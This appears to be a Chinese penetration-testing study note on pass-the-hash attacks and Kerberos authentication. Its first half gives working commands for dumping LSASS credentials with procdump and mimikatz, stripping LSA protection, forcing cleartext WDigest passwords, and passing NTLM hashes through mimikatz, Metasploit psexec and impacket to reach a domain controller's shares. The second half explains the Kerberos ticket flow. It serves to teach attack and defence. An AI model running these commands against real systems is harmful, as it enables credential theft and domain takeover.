内网渗透 day20-pth+kerberos
pth+kerberos认证
1. pass the hash(pth)
介绍:Pass The Hash是一种黑客技术,攻击者可以使用用户密码的基础NTLM或Lan Manange Hash来对远 程服务器或服务进行身份验证,而不像通常那样需要关联的纯文本密码。它仅通过窃取哈希值并使用其 进行身份验证即可代替窃取纯文本密码的需求。(翻译一下就是用hash进行远程登入,扩大战果)
该攻击利用了身份验证协议中的一个实现缺陷,即每次会话之间的密码散列保持静态,直到下次更改密码为止。
这类攻击适用于:
域/工作组环境
可以获得hash,但是条件不允许对hash爆破
内网中存在和当前机器相同的密码
微软也对pth打过补丁,然而,Craig在测试中发现,在打了补丁之后,常规的Pass The Hash已经无法 成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接。
如果禁用了ntlm认证,psexec无法利用获得的ntlm hash进行远程连接,但是使用mimi还是可以攻击成功的
补丁编号kb2871997
Procdump+Mimikatz 读取hash
前提:有管理员权限或者说提权成功了
(1) procdump
介绍:存储lsass.exe中的密码
下载网址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
操作
C:\Users\yangming\Desktop\Procdump>procdump -acceptela -ma lsass.exe lsass.dmp -accepteula 使用-Accepteula命令行选项自动接受这些内部授权协议。 -ma 写一个“完整”转储文件。包括所有映像、映射和私有内存。 |
(2) mimikatz
介绍:从内存中提取纯文本密码,哈希,PIN码和kerberos票证是众所周知的mimikatz也可以进行 传递的哈希值,传递的票,打造金券,用证书或私钥,跳马发挥,... 也许做咖啡?
下载网址:https://github.com/gentilkiwi/mimikatz
操作
1、以管理员的身份运行mimikatz
2、输入一条 log 会生成日志信息读取的密码会保存在里面
3、查看帮助信息:: ,相当于help
4、切换到LSASS minidump环境
sekurlsa::minidump lsass.dmp sekurlsa 枚举凭据的一些命令 minidump 切换(或重新设置)到LSASS minidump环境 |
5、列出所有可用的提供程序凭据
sekurlsa::logonpasswords full logonpasswords 列出所有可用的提供程序凭据。 |
6、不通过dump文件直接利用msv获取ntlm和lm的凭据信息
privilege::debug 特权提升
sekurlsa::msv 获取ntlm和lm的凭据信息
7、一句话调用mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit |
(3) msf利用pth获取会话
前提:msf已经反弹会话并且成功提权
1、将mimikatz.log下载到本地
2、搜索psexec相关脚本
3、选择exploit/windows/smb/psexec
4、查看参数
5、设置相关参数
这里设置SMBpass的时候格式是LM HASH:NTLM HASH,lm和ntlm在mimikatz.log文件中直接复制粘贴
6、成功反弹会话
(4) mimikatz pth
如果在win 10里: win 10需要绕过LSA PROTECTION限制: privilege::debug !+ !processprotect /process:lsass.exe /remove 在进行pth。 |
privilege::debug
sekurlsa::pth /user:administrator /ntlm:xxxx /domain:xxxx
dir \\IP\C$ 访问DC(域控)的C盘资源
copy \\IP\C$\ c:\xxx 下载DC中的资源
win server >= 2012 无法抓取明文密码: 修改注册表: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 1 /f 强制锁屏让管理员重登入后才可以抓到明文密码: rundll32 user32.dll,LockWorkStation |
(5) kali自带
smbexec.py:smbexec.py -hashes NTLM HASH:LM HASH ZJW.com/administrator@192.168.1.101
(这东西会被自带的windows defender(我用的是windows server 2019)拦截)
wmiexec.py: wmiexec.py -hashes LM:NTLM test.com/administrator@192.168.1.100
2. kerderos认证协议
介绍:Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认 证服务。
该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主 机的物理安全并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
Kerberos和NTLM有什么区别?
– 在Kerberos之前,Microsoft使用一种称为NTLM的身份验证技术。NTLM代表NT Lan Manager, 是一种质询响应身份验证协议。目标计算机或域控制器会询问并检查密码,并存储密码哈希以供 继续使用。
– 这两个系统之间的最大区别是第三方验证和Kerberos中更强大的加密功能。该过程中的这一额 外步骤为NTLM提供了重要的额外安全层。
AS(Authentication Server)= 认证服务器
KDC(Key Distribution Center)= 密钥分发中心
TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据
TGS(Ticket Granting Server)= 票据授权服务器
SS(Service Server)= 特定服务提供端
具体的Kerberos认证流程:
第一:从AS服务器中获取TGT票据
用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key
1.客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数
据库中查询到该用户名的密码,并使用hash生成user-secrect-key.
2.AS服务器向用户发送两样东西:
1)Client/TGS会话密钥,使用user-secrect-key进行加密
2)TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密
3.用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT。
第二:从TGS服务器中获取访问权限
1. 客户端向TGS服务器发送信息:
1) 第一步骤中的TGT
2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
2. TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
1)client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
2) ss会话密钥使用TGS会话密钥进行加密
3. 客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。
第三:访问服务
1. 客户端向ss服务器发送以下消息:
1)第二步骤中的client-server-ticket
2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
2. SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解
密,解密成功之后会得到authenticator,认证之后,发送:
1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
3. 客户端收到时间戳之后,解密确认,成功之后发送服务请求
4. ss服务器收到之后提供服务。